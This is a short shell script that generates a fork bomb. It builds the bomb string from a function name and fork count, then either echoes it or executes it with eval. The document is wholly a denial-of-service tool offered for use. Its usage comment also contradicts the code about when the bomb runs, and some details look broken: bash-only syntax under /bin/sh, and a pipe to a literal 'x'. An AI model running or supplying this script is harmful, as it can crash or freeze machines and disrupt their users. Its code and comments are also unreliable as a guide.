Create shell fork bomb

create_fork_bomb.sh

#!/bin/sh
# Usage:  create_fork_bomb <function_name> <number_of_forks> <execute>
# The <execute> argument is option and will print out the fork bomb string instead of evaluating it.
create_fork_bomb() {
  fn_name=$1
  n=$2
  run=$3
  
  if (($n < 2)); then n=2; fi
  for (( i=0; i<=$n; i++ )); do str="${str}|x"; done
  f_bomb="${fn_name}(){ ${fn_name}${str}& };${fn_name}"
  
  if [ -z $run ]; then echo $f_bomb; else eval $f_bomb; fi
}